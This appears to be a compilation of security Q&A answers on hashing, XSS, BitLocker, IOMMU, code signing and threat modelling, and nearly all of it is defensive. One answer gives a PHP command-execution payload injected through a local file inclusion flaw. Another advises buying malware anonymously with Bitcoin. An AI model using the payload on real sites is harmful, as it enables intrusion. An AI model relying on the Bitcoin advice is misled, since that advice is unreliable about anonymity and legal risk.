Yes, it's less secure. Because if a hacker gets hold of a copy of the bank's user database, including the hashed passwords, then they are no longer limited by the throttling or lockout on the web interface and can run a full-speed brute-force attack against the hashes. If the bank uses an efficient hashing algorithm (which they obviously shouldn't, but banks do not in fact all have perfect security) then an attacker might be able to make a billion attempts per second. At that speed, they can enumerate every eight-letter password containing a mixture of digits, upper-case and lower-case letters in two and a half days.


What causes a powershell payload to run the first time but not the second?

ESET Smart Security is powerful against malware such as meterpreter because it analyzes the behavior of the application after it is executed. Using heuristics, it flags certain behavior or actions as suspicious. It then terminates the process and blacklists the application. That could be the reason why it was executed successfully the first time but not after.

You can try for yourself in a VM to examine this matter more closely.


A network scanner interrogates the target over the network:

determines open ports via (semi-)exhaustive search
determines software and versions, if possible, based on banners and behavior
checks for known vulnerabilities (e.g., does /CFIDE/administrator exist)

but it is limited by only having network access.  The banner printed on port 22 will identify the SSH version, but this can be misleading - if the OS vendor has backported security fixes (common practice), then the banner may indicate an older, vulnerable version when in fact the software is newer enough to be invulnerable to those issues.

An operating system scanner uses local credentials to access the system from the inside.

determines listening ports looking at the OS tools (e.g. netstat)
queries exact software installations and versions
queries installed patches and file versions to see if vulnerabilities are patched

The operating system scanner is much more complete and accurate as a result.

There are a number of scanners that fall into this category to various degrees.  I can't recommend one (so many and so different) but they fall into two main categories:

Scanners or scanning services that performs "authenticated", "trusted", or "credentialed" scans; these will generally check OS configuration, patches, and installed software.

Qualys trusted scan
Rapid7 Nexpose authenticated scan

Tools which authenticated users run locally:

Microsoft Baseline Security Analyzer (checks versions and patches for MS products)
Qualys BrowserCheck (checks browsers, limited (web-related) software, OS patches, and certain OS configuration details like firewall and AV configured)

This latter "tools" category tends to be more limited in scope; for the fullest coverage, look for a scanner that supports either enterprise or cloud-based scope.  (Arguably no one is going to sink the time and money into a tool that they sell for individual system users; the money is in the people who need to use it to protect entire networks).


VirusTotal desktop file uploader seems infected

What makes you think that's a virus? Ok, according to VT there is only one detection by NANO-Antivirus. In cases like this one, I like to check file in sandbox to see what's happening.

So based on static and dynamic analyze with cuckoo sandbox, I don't see nothing which indicate to be a malicouse file.

File Name   vtuploader2.2.exe
File Size   142744 bytes
File Type   PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

MD5     43cd42fe47af2256e4414264f49af1a8
SHA1    3ccbbfffd0da76f72dd99ac39afcfdfacd5f16e2
SHA256  0918fa4b22d3e212a13fa449a5a7b5c3ec97759dd87db6d281f387b1570e13c9

Here is fresh report:

https://malwr.com/analysis/NmIyYWM4NDI1YThmNDc3ZWEzODQ3ZjIzNWRiNDJmN2E/#

  Probably harmless! There are strong indicators suggesting that this file is safe to use.


User-specific Subdomains : JavaScript security

Yes, you do have to worry.  While the subdomains are mostly isolated from your main domain (thanks to the same-origin policy, there are some exceptions that could pose a risk.

One risk has to do with cookies.  Script on bob.myapp.com can set a cookie for myapp.com.  This cookie will be sent to myapp.com when the user visits myapp.com.  This can be used for session fixation attacks.

For instance, malicious user content can set a session cookie (sessionid=1234) with domain myapp.com.  Then when the user visits myapp.com, their browser will send the session cookie set by the attacker.  Since the attacker knows the session ID that the user will be using, the attacker can now hijack their session.

One mitigation is to host the user content on alice.myappusercontent.com, bob.myappusercontent.com, etc., while your app is on myapp.com.  That should stop these attacks.

The classic reference for information about the same-origin policy and isolation on the web is the Browser Security Handbook.  See especially the section on the same-origin policy and on life outside same-origin rules.


If a vulnerability has no relevant attack vectors, is monitoring still legitimate for a company?

more attack vectors may become known

It seems premature to react to vulnerabilities before this happens. It is probably better to just subscribe to security advisories and get alert, when this happens.

  vulnerabilities without a relevant attack vector

How do you determine, if they are relevant? Even if the attack vector is unreachable on its own, combining multiple exploits have been the way to break high security systems for quite some time. Also, can you be sure a future change in your system will not make it relevant?

IMO if you are sure there is no vector for your system, even if combined with other exploits (even hypotetical ones not discovered yet) and after future updates, then it is not necessary to spend the resources on it. If you are not sure, or can't determine without extensive research, it is better to just do it to be safe.


Why is WPA/WPA2-personal Entropy different?

If you kept reading past the point where it quotes the 802.11i standard, it explains that the lowered entropy is because of the method of choosing a password.

It's not about the amount of raw entropy per character (i.e. 4.7 for single case letters) but the effective entropy as a result of a human needing to assign and remember the password later (and enter it on a tiny keyboard for a phone).

So, the math per character is the same. The effective entropy is a lot lower because people choose easy-to-remember passwords. Purely random passwords retain their stronger entropy.


Can't solve format for Salted SHA1 hashes with Hashcat?

hashcat wont do this for you, you need to extract the fields you want

using the seperator (-p) and ignore username (--username) switches might help, but you are going to have to get the text into a format hashcat understands first.

looking at your extract there are 25 fields:

9 empty
4 username/email
4 Hex SHA1 hashes
3 single digits
2 timestamps
an 11 digit number
an 8 digit number
a base 64 encoded SHA512 hash

If this is consistant theres not many options


Is there any system that can authenticate my device to open only select apps on it?

Answer depends on the service you may refer.

For example if it's a web services (php as you've indicated), an authentication mechanism with authorization limits user rights. You may control the user based on the privilege assigned to the user profile.

For Apps installed on a device you may deploy password protection for applications where the user will be asked for authentication when accessing app. There are several similar apps available in market. following are some examples:

https://www.microsoft.com/en-us/p/password-protection/9nblggh1p2gx

https://www.microsoft.com/en-us/p/applocker-lock-your-apps/9wzdncrd23mg


Fred,

Spunk would be perfect for this situation, it is free (if less that 500 mb of logs a day) and is easy to use.

download it here http://www.splunk.com/download

I hope this helps,

dc


How to stop gmail spam after connecting to public wifi without VPN on Android?

It is unlikely that you are getting spam because you used a hotspot. Gmail should have their certificate pinned and their traffic should be https only, so there is no way to intercept it unless you install 3rd party certificates on the phone, or accept any warnings about invalid certificates.

Spammers also do not need access to your account to send you spam, they only need the email address. They already have it, so changing your password will not help.

The best approach to dealing with spam is:

If you can - unsubscribe
If you have not subscribed - mark as spam in Gmail
If you have not subscribed, then it is unsolicited email, which is illegal in most jurisdictions. You can get in touch with the sender and ask them to stop. If they refuse or won't stop, then you should get in touch with an appropriate law enforcement agency in your area, e.g. in United States it is regulated by Federal Trade Comission (source http://en.wikipedia.org/wiki/CAN-SPAM_Act_of_2003) and report them. These law enforcement agencies usually have lots of international connections too, so even if the spam is originating from other country they might be able to do something about it.


why blocking incoming traffic does not block chatting or VOIP

Most communication nowadays is done via remote servers. So clients connect to a central server and the server manages communication between clients. Blocking listening ports with a firewall will not stop this communication.

But some services require direct (Peer to Peer) communication for decreased latency and increased bandwidth. VoIP and other services can still communicate without having local ports open.

By combining the client-server model with the P2P model, new ways of establishing connections were invented:

  UDP hole punching is a commonly used technique employed in network
  address translator (NAT) applications for maintaining User Datagram
  Protocol (UDP) packet streams that traverse the NAT. NAT traversal
  techniques are typically required for client-to-client networking
  applications on the Internet involving hosts connected in private
  networks, especially in peer-to-peer and Voice over Internet Protocol
  (VoIP) deployments.

  TCP hole punching is a commonly used NAT traversal technique, for
  sending 2-way messages between nodes in an Internet computer network.
  The term "NAT traversal" is a general term for techniques that
  establish and maintain TCP/IP network and/or TCP connections
  traversing network-address-translation (NAT) gateways.

  STUN (Session Traversal Utilities for NAT) is a standardized set of
  methods and a network protocol to allow an end host to discover its
  public IP address if it is located behind a NAT. It is used to permit
  NAT traversal for applications of real-time voice, video, messaging,
  and other interactive IP communications. It is documented in RFC 5389

Skype uses UDP hole punching to get around firewalls.


How to make an encrypted field searchable?

You know the answer already: 3 if you want security.
If this gets too slow, you'll need a better computer, or more than one. As simple as that.

Anyways, please don't think you can decide how sensitive what data is, because this varies greatly for different persons and situations. Real story: A person losing 20% of the yearly income because it was known that he ate vanilla icecream. You can't imagine how this can happen? Exactly, that's why: Don't decide for other people what to keep secret and what not.
.


This is a malware which uses your websites to gain profit from advertisements. What you need to do now is fix your server. Best thing you can do is follow our canonical guide by Rob Moire which can be found here How do I deal with a compromised server?


PHP code in user session LFI filtered out

While I would still like to know why the $_GET['cmd'] part of the code seems to pose a problem, I did find a workaround. Instead of calling on a GET variable, it turns out I could just execute the commands I want directly:

<?php system('uname -a'); ?>

And the contents are displayed to the Web page in question.


Can I use a CDN for static content without sacrificing SSL keys?

Since you have no control over how the browser checks for mixed content you have to have all content load over SSL, otherwise you will get mixed content warnings.

You don't have to give up your private keys to a CDN if they already provide an HTTPS endpoint. The only difference is that you don't get your own custom domain. That, I think, is a pretty reasonable trade off.


nmap - protocol discovery doesn't work with fragmented packets

Most likely you have a firewall somewhere that is dropping packets for which it cannot make a determination of policy. A MTU of 24 is enough for the full IP header plus the source and destination ports of the TCP header. The next lowest valid MTU is 16, which is not enough to include the destination IP address. The firewall probably does not reassemble packets, so without enough to make a determination it drops the inbound packet. For ICMP, on the other hand, all that is needed may be the protocol number.


I recommend locking down GRUB and taking away access to the GRUB shell.

GRUB manual: Authentication and authorisation
(Archived here.)

  By default, the boot loader interface is accessible to anyone with physical access to the console: anyone can select and edit any menu entry, and anyone can get direct access to a GRUB shell prompt. For most systems, this is reasonable since anyone with direct physical access has a variety of other ways to gain full access, and requiring authentication at the boot loader level would only serve to make it difficult to recover broken systems.

Otherwise somebody might access the GRUB shell and just use the "chainloader" command to boot into another partition's partition boot record (possibly off of a USB drive).

ArchWiki entry on GRUB
(Archived here.)

  The GRUB's command shell environment can be used to boot operating systems. A common scenario may be to boot Windows / Linux stored on a drive/partition via chainloading.

I haven't tried any of this. But it sounds dangerous enough.


Implications of the proposed Burr-Feinstein senate bill?

I think the really interesting implications are when you look outside the US. Once the mechanism is in place to legally request a key or decrypted content, the other countries where affected companies do business are going to require the same thing.

The method used to provide decrypted content will impact what happens next.

If the company keeps its keys secret and decrypts user content on request, you'll end up with a situation where the company is required to respond to decryption requests from all sorts of foreign agencies, and some of those will probably be for devices belonging to citizens of the company's own country.
If the key itself has to be provided, and the company only maintains one master key for all its products, then you have a situation where governments have the ability to decrypt devices belonging to foreigners (including, say, government officials or C-level executives)
If the key itself has to be provided but there are separate keys (either per-device or localized to a country) then in order to preserve their ability to read their citizens' devices, countries would have to make importation of encrypted devices illegal (and, practically, you end up with a situation where the "bad guys" (like terrorists and secret agents) just import phones illegally and have perfect encryption and only the "good guys'" devices can be decrypted). To allow legal travelers to bring their devices into the country, you may also need to create a key management system to import into or retrieve keys from each device (and of course, "you must run this program on your computer to be allowed entry into our country" has additional implications).


Possibility of Correlating Certain User Groups in low-latency Networks

First you look at the ingress part of the data. Fundamentally you put whatever sticks into the stream. Like modifying cookies or layer 6/7 session header injection. Later, you look at the egress packets. It doesn't matter that the connections are over an opaque cloud.

In fact, i think one can correlate the outgoing sets of packets from the origin host to the destination but that would probably require a lot of resources.


QR codes that can't be copied - possible?

This is a bad idea.

To understand why, imagine there is no QR code, just a human-readable display of the URL.

Now, would you base a security scheme around keeping this URL secret? Of course you wouldn't, it is the rankest security by obscurity.

If you want to keep the url fairly confidential, do so without any advanced wizardry, but you need your security to be secure even if everyone knows the URL. Implement authentication on access to the resource, not (just) on access to the resource name.


Why does OWASP recommend "Disable Web Browser Cross-Tab Sessions"

I would guess that in principle it's because it's to prevent possibility of a Bad Person hijacking your session.

If such a person were to be tapping your session then would have your cookie (or less trivially whatever magic value in the pages is identifying your session) and then all they'd have to do is spoof your IP-address.

Of course if your session were encrypted this shouldn't be possible, but presumably this rule doesn't presume it to be the case, or rely upon it.

It's not something HTTP itself can deal with, but the rule itself notes that:

  Web applications can use JavaScript code once the user has logged in
  and a session has been established to force the user to
  re-authenticate

So you couldn't support users who don't wish to use JavaScript, or whose browser doesn't support it. Your session-tracking logic then, implemented in JavaScript lets say, retains session information local to the browser-tab session only. You need to ensure that this implementation also is portable across whatever browsers you wish to support.

I'd recommend using a well known implementation for this rather than rolling your own. I'd imagine most well known JavaScript frameworks support this.

There's more on what you might specifically need to do here: https://stackoverflow.com/questions/11008177/stop-people-having-my-website-loaded-on-multiple-tabs

Update:

There are another few scenarios that come to mind.

A ticket sales site might like to do something like this to prevent their customers "gaming" a queueing system by running multiple tabs. But this is a session management issue really, because the customer is effectively running multiple "queueing sessions" within their actual session.

It can also simplify site design if you don't need to worry about race conditions between different user activities thus forcing them to do "one thing at a time", though this is more of a UX than a security issue.

Finally, this rule could also frustrate the activities of scraping software, or bots (such as those that could be used on ticket sites again for instance). This would be an effective countermeasure against an attacker logging in through the browser to capture a session, and then continuing the session with the bot.


Deactivate Linux Shell to prevent "blind" login on router

But else what could they do to prevent this behaviour?

Several possibilities:

Disable HID drivers in kernel.
Disable TTY support on kernel
Disable getty on TTY.
...

  Is it sufficiant to disable all TTYs?

Should be, yes.

  Can I build a Linux without a login possibility?

For sure. Most embedded firmware are built with Yocto or Buildroot. Using these tools you can do what you want. One can build a system that will only launch a custom init system that only implements what is needed.


Is two phase authentication using SMS/voice dead?

The only benefit I'm aware of to providing SMS-based two-factor authentication, though it's potentially a big one, is that it provides a better defense against you losing any particular phone.  I.e., with TOTP, if you lose your phone, you have to use your backup codes for each site and generate a new key with your new phone.  Doing this inevitably requires locating your backup codes, which, if you're a normal person, you probably don't carry on you all the time.  Thus, the bootstrap process can be annoying.  With SMS, you'll just receive a text like usual, and go on your merry way.

In practice, several sites I use provide TOTP as their primary two-factor auth, but will fall back to SMS to cover exactly the second scenario.  That seems like a good compromise for the time being.


Is it safe to save a user's email into php session variable for later use?

Create a table for reset tokens, with username, email, token and expiration time.

When the user submits the form, submit back the token. Look on the table and get the correct email, and delete/invalidate the record.


I haven't worked with MQTT myself but did some research and looks like TrendMicro have an article on that:
https://www.trendmicro.com/vinfo/es/security/news/internet-of-things/mqtt-and-coap-security-and-privacy-issues-in-iot-and-iiot-communication-protocols
Some other Scanner tools are: Nessus and Tenable
you may give it a try on their trial version before you pay for any certificate.
hope it helps to some extend.


Use a faraday cage. I have tried it before and managed to completing shield it such that it is unable to get any GSM or wifi signal.

http://en.wikipedia.org/wiki/Faraday_cage

A link on building simple homemade faraday cages : http://www.thesurvivalistblog.net/build-your-own-faraday-cage-heres-how/


Help me find a lightweight threat modeling framework

Threat Modeling is really a skill, based on experience, after learning what works and what doesn't.
I don't think a choice of framework will make things much easier for you, you will still have the same issues and difficulties that you have now.
On the contrary, I would recommend STRIDE-per-element as the better place to start, and later add in additional techniques as appropriate.
It's probably more likely that you just need some pointers on how to do threat modeling efficiently, simply changing the methodology would not be your silver bullet.
My recommendations:

Go through an entire threat modeling exercise first with someone experienced, who knows how to do it - that is really the best way to learn, by doing. Even if this means getting an external consultant for a few hours.
One of the reasons that DFDs are recommended, is because these often already exist. Try and find out if anyone has these, or even something similar.
Another reason for DFDs, is because they can be relatively simple. If you say that you get stuck on minutiae, then zoom out, and keep the DFD at layer 0 or layer 1, only occasionally digging down into layer 2 as needed - but no more than that.
Remember, you want to focus on the high-level overview, flows between modules and across trust boundaries. You should never have to drill into the implementation (though involving developers/architects that understand how it works, can you help you discover interesting points that do require additional mapping.) Don't get carried away in the details!
Microsoft has two different tools to help with Threat Modeling, TAM and SDL TM. These are based on different outlooks and sub-methodologies, one of them works as a "wizard"-ish-like app. I much prefer SDL TM.
Consider focusing a TM on one module/section of the application at a time, instead of trying to grab all of it at once.
Remember that during TM, you're not looking for solutions. That can quickly sidetrack any TM effort.
Ideally, you'd have the viewpoints and input from all the stakeholders (architecture/product management/development/QA/operations....), but realistically, in many orgs that's not possible - instead, try to focus small bites of time with representatives from each, and pose specific questions that will help flesh out your model. If there was no DFD or other diagram, and you built it yourself - get their feedback on it, often they will be thanking you just for providing them with that.

Some additional thoughts on TM, as per your extra questions at the end:
Simply pointing a proper web app scanner at your servers will definitely be easier. However, I believe TM would be much more effective, and in the long term would be more efficient too (for numerous reasons, different topic though).
Even though the app already exists, it's still worthwhile to go back and analyze it - some things will be easier (less guesswork), some things may not pan out, but you can discover what types of flaws are interesting. That is what can help you go back and fix specific issues, not just the technicalities which do not apply to your business. And worst case - all it will do is help you focus your testing efforts in areas that are more "interesting", instead of mass-testing the entire system.

Some links I have found helpful in the past when teaching others how to do TM:

Guerrilla Threat Modelling
Microsoft's Patterns&Practices: Threat Modeling Web Applications (The entire book is marked as outdated, but that section is still relevant).
Threat Models Improve Your Security Process (Michael Howard)
MS' Larry Osterman's definitive multi-part TM guidance (first part starts here)


Does IOMMU protect against malware insertion through PCI Network card/Sound card DMA?

The IOMMU will not protect against that unless combined with measured boot. While an IOMMU will protect from rogue DMA, that only applies after it has been initialized. In particular, since it would be necessary to enable measured boot, a TPM is required. There are two kinds of measured boot, called SRTM and DRTM. The former measures firmware once while the system is starting, whereas the latter measures a portion of software at runtime. In order to protect from an early DMA attack, it is necessary to use DRTM, instead of just SRTM, for measurement. This usually requires manual configuration.

The IOMMU is vulnerable during early boot because the IOMMU configuration tables (DMAR) are initialized in a region of memory that is not protected. During the brief period between loading the configuration and enabling the IOMMU, a malicious device could modify them, voiding the protection it is supposed to provide. This is explained in a research paper on bypassing IOMMU protections.

This is only a risk if you boot up the system with a malicious or compromised PCIe card already installed. If one is plugged in while the system is on, or an existing card is compromised (e.g. via JTAG) while the system is on, a properly configured IOMMU should be enough to prevent the device from issuing malicious DMA requests. This requires functional DMA Remapping tables, or DMAR, which is an ACPI table included with the BIOS. If the DMAR is broken, which is often the case with certain laptops, the system may not boot correctly with the IOMMU enabled via intel_iommu=on or amd_iommu=on.


good product to physical lock down a mac mini server?

This depends on your requirements. Do you want to discourage people from stealing the mac mini, do you want it to be impractical to steal it, do you want it to be impossible to steal it?

For instance, if it were enough for your scenario to scare off a thief by having to spend two minutes with a screwdriver in plain sight, a decently built basic mount to the desk is more than fine. But if your thief would not be scared to run in with a chainsaw cut the desk into bits and take the piece of desk that has your mac mini, you might need better means to secure it.

Some questions you can ask yourself to find if a mount will meet your requirements:

How scrutinized is the device when an attempted theft would take place?
Does the thief have a great incentive to steal it? (Such as launch-codes for a nuclear missile being on them or the device being a one of a kind gold plated version). What is the time-frame in which the thief would have to steal it?

If the thief does not have a bigger incentive than to sell it on eBay and would have to steal it in under 2 minutes and would be scrutinized when doing so, I think a desk mount will do.


Securely tell the user his password in new WHM/Cpanel account creation?

Don't transmit a password at all. Set the password to something completely random, then automate a password reset. This will create a one-time link that allows them to log in, and forces them to change the password immediately.

Benefits of this scheme:

A valid password is never sent in cleartext.
The one-time link is useless after one use, so an attacker stealing the link later isn't a problem.
The user is prompted to create a password immediately, so the account is secure the instant they start to use it.
You know when a user has logged in successfully for the furst time, which allows you to send them an email thanking them for their custom. Furthermore, you could send out an email to any unactivated account after 12 hours or so, reminding them to use the link to set up their password.


How to further analyze suspicious traffic

To answer your question:goldenticket.disconnect.me

You probably have adblock add-on installed in your chrome brower


Proper precautions when studying darknet malware activity

Okay, here are my 2 cents.

You don't necessarily have to purchase malware to study them. You can scour the interwebs looking for malware, get infected, get hold of the right files and start researching them! Or, you can find malware to study on Github. Take a look at - https://github.com/rshipp/awesome-malware-analysis#malware-corpora.
The only technical precaution I would take while purchasing malware or mal-services online would be to pay in Bitcoins. That would take care of not revealing your identity and your payment information to malware-sellers. I doubt Governments would spend their time, money and effort hunting down people that purchase malware with Bitcoin.

Hope this helps!


Can a physical attacker compromise a Windows machine with UEFI, secure boot and bitlocker?

After conducting extensive research on the Bitlocker platform, I believe I can answer my own question.

Key reference: Bitlocker Drive Encryption Technical Overview

In our default setup (at least on MS Surface Pro 3), Bitlocker, UEFI and Secure Boot are on. There is TPM 2.0 enabled. The UEFI is not password protected, and the boot order allows USB before SSD.

Attackers have the interest in booting into an alternative OS because popular password cracking tools like Ophcrack run from Linux (actually it wouldn’t work on the Surface Pro 3 because it is a class 3 UEFI device that does not support Legacy BIOS mode). In addition, if the hard disk is not encrypted, the alternate OS has the liberty to read the files from the hard disk, and even “reset” the Windows password by messing around with the Windows SAM and registry.

In our scenario, since Bitlocker encryption is on, the hard disk partition is encrypted so an alternate booted OS will not be able to see our files.Also, the TPM will conduct an integrity check on the pre-boot components and will realize we are booting into another system, and thus will not release the keys needed to decrypt the hard disk partition.
Furthermore, one cannot simply boot a Live Linux USB, or install Linux on the hard disk, since Secure Boot would not allow that. Can we just turn off Secure Boot, since there is no password protection on the UEFI settings?

Yes, an attacker has the ability to turn off Secure Boot and boot into an alternate OS. However, that is not a concern because the default Bitlocker policy will use Secure Boot for integrity validation as well, and turning off Secure Boot will trigger the Bitlocker recovery key lockout. The attacker should not have the recovery key in his possession and brute forcing it is infeasible. Since the attacker cannot go past the recovery key screen, the hard disk will not be decrypted and the data remains protected. An intelligent user should also sense that something is up if he is prompted for the recovery key for no legitimate reason like a system update (in case we are afraid of Evil Maid attacks).

In the UEFI settings, the attacker could also turn off the TPM protection. This will definitely trigger the Bitlocker recovery key lockout because Bitlocker relies on TPM for its usual decryption keys. Therefore, it is pointless to do so.

Therefore, while it is possible to make the system “more secure” by password protecting the UEFI, it does not seem necessary to do so.

In addition, Surface Pro 3 is certified as a ‘Connected Standby’ device. In other words, we don’t have to go to the extremes of always shutting down the device or putting it to hibernate for added security in some configurations. We don’t really need to have pre-boot authentication also (i.e. just have TPM-only authentication). It does not have any DMA ports, so DMA attack is not possible. It is not susceptible to Cold Boot attacks, since system memory cannot be easily removed. See this reference article.

In his talk on ‘Building a Bulletproof Bitlocker’, Sami Laiho mentions that TPM-only authentication is good enough for 90% of people. If you’re interested, he talks about Bitlocker and added configurations that you could set up (for general devices, not just the Surface Pro).

Note that encryption does not prevent the attacker from writing over the hard disk with random bits.

Additional reading: Comments on Bitlocker

Note: there may be backdoors and implementation errors which are unknown. The answer here is based on available information from Microsoft and general knowledge about FDE systems. It also assumes that the TPM can be trusted and that brute forcing the encryption itself is "infeasible" without a very fast supercomputer (i.e. will take "too many" lifetimes to break at present time). That said, feel free to point out additional vulnerabilities so that we can be more aware of the potential threats and under which circumstances we should be concerned about them (i.e. assumptions about the attacker). I would just like to comment that a vulnerability in a part of the system does not immediately imply that an attacker can engineer a successful attack to extract information from it, although it indeed does increase the chance of success.


Where to store passwords of encrypted backup drives

There is a major advantage to asymmetric encryption for backups: you can make the backup automatically, because this only requires the public key. Only restoring requires the private key, and that can usually be interactive, because it's a rare operation.

Symmetric encryption has a definite performance advantage, especially if you do it at the media level. But as your friend notices, backing up the encryption key with the ciphertext defeats the purpose of encryption. In your scenario, your backup is as easy to crack as your memorable password.

You can get the best of both worlds by using asymmetric encryption (e.g. with a GPG key) to save your key store. Since this is a small file, it won't hurt performance. Use a strong, long, randomly-generated passphrase for the GPG key, which you won't need often. Write down the passphrase on a piece of paper and put the piece of paper in a safe. (Actually you'll probably want several copies in different places!)


How secure is this function for XSS sanitization?

If your security is based on "in my application common use case X will never happen", it will likely fail.

First of, input sanitation is not the correct approach to XSS, context dependent encoding is.

Your approach is also overly complex. Why do you filter space and +? Why replace < and > with _, but the others with space?

Your approach is also not very user-friendly. < and > are used legitimately all the time, as is +.

All that being said, no, in a plain HTML context - not in a HTML attribute context, CSS or JS context, etc - XSS cannot take place without < and >, so there would be no way to bypass the filter. In other contexts, XSS can still happen. Even if you don't currently put user input in other contexts, you or another developer will do so in the future. And they will just assume that a function called tep_sanitize_string will be secure here as well.


Can WiFi detect you even if you aren't connected

I've read that the way wifi works is that your computer sends out requests looking for any wifi it recognizes.

That depends on the configuration of both the access point (AP) and your device.

Most APs periodically emit beacon frames, where they broadcast their presence along with the wifi's name (SSID), capabilities and other information. Your device can stay entirely passive and listen to these broadcasts without sending a single frame.

On the opposite, you can actively discover wifi networks by sending probe requests. This way, your device publicly asks for available APs, along with your MAC address, supported connection types, etc. APs that match these specifications will reply with a probe response frame.

Note that a probe request can also ask for specific SSIDs. This is especially common for smartphones and raised privacy concerns in the past, since these broadcasts can be easily sniffed.

So Yes, unless you are sure you keep your network card entirely passive before spoofing the address, the AP (or an attacker sniffing the wifi traffic in your area) may capture your MAC.


How do open source projects handle secure artifacts?

Please remember the following important rule:

Don't hardcode cryptographic keys or secrets in the code!

This rule is not specific to open source.  It is a good rule of thumb for all source code.

Maybe you are wondering: where should you store secret keys, passwords, etc.?  The answer: Store them in a separate configuration file, not in the source code.  Don't include them in the source code repository / version control system.


What is the benefit of signing an executable that is not a driver on windows?

When an installer is signed but the content doesn't match the signature, Windows will warn you, as a part of UAC, that the publisher is unknown. It still allows you to choose running it and doesn't specify that the problem is with a mismatching signature.

However, compromising a system doesn't require elevation: we are protecting data, not the system! There's also a lot of standalone executables: Windows allows you to run a tampered executable unless it doesn't require admin privileges. It even happily shows the original signatures in the Properties > Digital Signatures; you have to press Details for verification. You also have to do this to figure out why the UAC gave you this warning.

I'll demonstrate this with the well known PuTTY that has been used standalone long before it even had an installer. Let's modify a harmless string from the putty.exe to avoid breaking it – an attacker would obviously insert malicious code, instead.

Here we see the results, but Windows still runs the executable without any warnings.

You can also see the signatures still in their place. For actual verification, you have to go further to the Digital Signature Details to see that it's not valid.

This is the security benefit of signing even standalone executables. Just like publishing a checksum of the file on your download page, it's an extra measurement for those who would like to be sure.

Frankly, the fraction of the users actually checking this manually is small. People also tend to run the installer anyway: their goal is to install the software and they see the warning merely as an obstacle. However, this doesn't mean that you should avoid signing your executables. We just do our part and keep hoping people would learn – and Microsoft would embrace better security practices by emerging an alert even on standalone executables.


Why do credit cards have bigger security than debit cards?

Credit cards are not more secure in the technological sense. Rather, they are safer (as far as an individual is concerned) in that it is much easer to deal with credit card fraud than debit card fraud, should it occur.
The reason for this is fairly simple. This article explains it pretty well:

The key difference: With a credit card, the card issuer must fight to
get its money back. With a debit card, you must fight to get your
money back.
DEBIT CARD FRAUD
According to the EFTA, your potential liability for fraudulent debit
card transactions is virtually unlimited. You have up to 60 days to
report a lost or stolen card under the EFTA. After that, you simply
lose whatever money was taken, even funds siphoned from linked
accounts.
CREDIT CARD FRAUD
Under the FCBA, your maximum liability for fraudulent credit card
transactions is $50. If you report your card lost or stolen before any
fraudulent transactions occur, your liability is zero. Many credit
cards promise zero liability for all fraudulent transactions.
“I’ve had my credit card information stolen and used fraudulently a
number of times,” says Tucker Spillane, a 24-year-old credit analyst
from New York. “Fortunately, my issuer almost always picks up on it
right away … usually because the activity is considered abnormal from
my typical spending habits. And they provide their own fraud coverage
anyway. I’ve never had to pay a dime.”

In practice, this means that if fraud occurs on your credit card, a simple phone call to your CC company saying "this charge is fraudulent" will likely resolve the issue on your end. They'll issue you a new card, the fraudulent charge will be removed, and no money will ever be deducted from your personal checking or savings account.
In contrast, with debit card fraud, the money is immediately deducted from your personal bank account. Even if you are ultimately not held responsible for it, it may take weeks or months for the money to be restored while the case is investigated. If you don't have enough money in cash or in other accounts left to cover day to day expenses, you're just out of luck.
EDIT to add: The above reference is US-specific. The situation is similar in many other countries but you should research the fraud protection laws that pertain to the country you live in.


Can a user's Apple Keychain be opened on a different computer?

It is possible to open the keychain file provided that you have the password associated with it (usually, but not always the user's login password).

I have personally done this when backing up and performing a manual upgrade of my personal system, although I do not know where any software is available to open the file out of Mac OS.


Is there a best practice to handle vulnerability scanning attempts?

I ignore them.   There will always be compromised systems continually scanning the entire Internet for arbitrary vulnerabilities.  Trying to block them is no more effective than spitting into the wind.  You'll get far more value out of focusing on the security of your servers and applications, and keeping an eye out for attackers who seem to specifically target you.   Chasing the bots and automated scanners will only waste your time.


Content Security Policy (CSP) is just a one layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. However please bear in mind that security is all about defense in depth so yes you still should implement additional security layers and please remember that preventing Cross-site Scripting Attacks(XSS) vulnerabilities in all languages requires two main considerations:

the type of sanitization performed on input
location in which that input is inserted.

It is important to remember that no matter how well input is filtered; there is no single sanitization method that can prevent all Cross-site Scripting (XSS).

The filtering required is highly dependent on the context in which the data is inserted. Preventing XSS with data inserted between HTML elements is very straightforward. On the other hand, preventing XSS with data inserted directly into JavaScript code is considerably more difficult and sometimes impossible.

For the majority of PHP applications, htmlspecialchars() will be your best friend. htmlspecialchars() supplied with no arguments will convert special characters to HTML entities.

Another function exists which is almost identical to htmlspecialchars(). htmlenities() performs the same functional sanitization on dangerous characters, however, encodes all character entities when one is available.

strip_tags() should not be used exclusively for sanitizing data. strip_tags() removes content between HTML tags and cannot prevent XSS instances that exist within HTML entity attributes. strip_tags() also does not filter or encode non-paired closing angle brackets. An attacker may be able to combine this with other weaknesses to inject fully functional JavaScript on the page.

addslashes() is often used to escape input when inserted into JavaScript variables.


Which one is best, host or guest encryption?

You should do it on a guest level. The main reason for this is that your storage will often not be on the host but on an external storage appliance. Also the flexibility of virualization is is that you can migrate your guests between hosts quite easily, this would be lost if you perform encryption at host level.


I think this is an information leak to the url shortening service, which is a third party. You would give away your own busines data (who buys what), and also your customers' private data (the fact that they bought those items).

Depending on how the shortening service works, doing this on plain http would be even worse (sharing the above stuff with pretty much anybody), but bit.ly I think works over https at least. But still it doesn't change the fact that you share this data with bit.ly.

Another aspect of it is that you may not even be legally allowed to do that unless you warn your users of what happens to their data (that it will be given to a third party, not just processed by you). Privacy regulations in for example the EU are very strict.


Why request and response calls in my burp suite python plugin come in such random order?

Requests are processed asynchronously in Burp, so every time the browser makes a new HTTP request it'll trigger your script. You cannot switch this behaviour off (it's integral to Burp's proxy engine) so your code will need to be thread-safe.


Would this be considered an XSS or an RFI or nothing?

It's hard to say without seeing the code from image.asp or being able to play with the page itself.  If you can't post the code here, you can always do a very basic test on your own by providing the URL of a simple javascript file that contains an alert as the image parameter.  Again - this is a very basic test.  For a more comprehensive test, try doing some fuzzing with a tool like burp suite and understand what you should be looking for.

If you load the page with this parameter and you see an alert, then the site would be vulnerable to either reflected XSS or RFI.

This basically means that someone would have to click on a maliciously crafted link in order for the attack to take place.  It isn't as bad as stored XSS, but is is still very serious.


How to properly handle security certificates in asp.net (ws-federation)

Turns out that Asp.Net doesn't support encrypted tokens out of the box. DarksideCookie made a great guide on how to set it up manually.

http://chris.59north.com/post/Manually-configuring-OWIN-WS-Federation-middleware-and-accepting-encrypted-tokens


Is it insecure to send an email from a PHP script to an email address on the same domain?

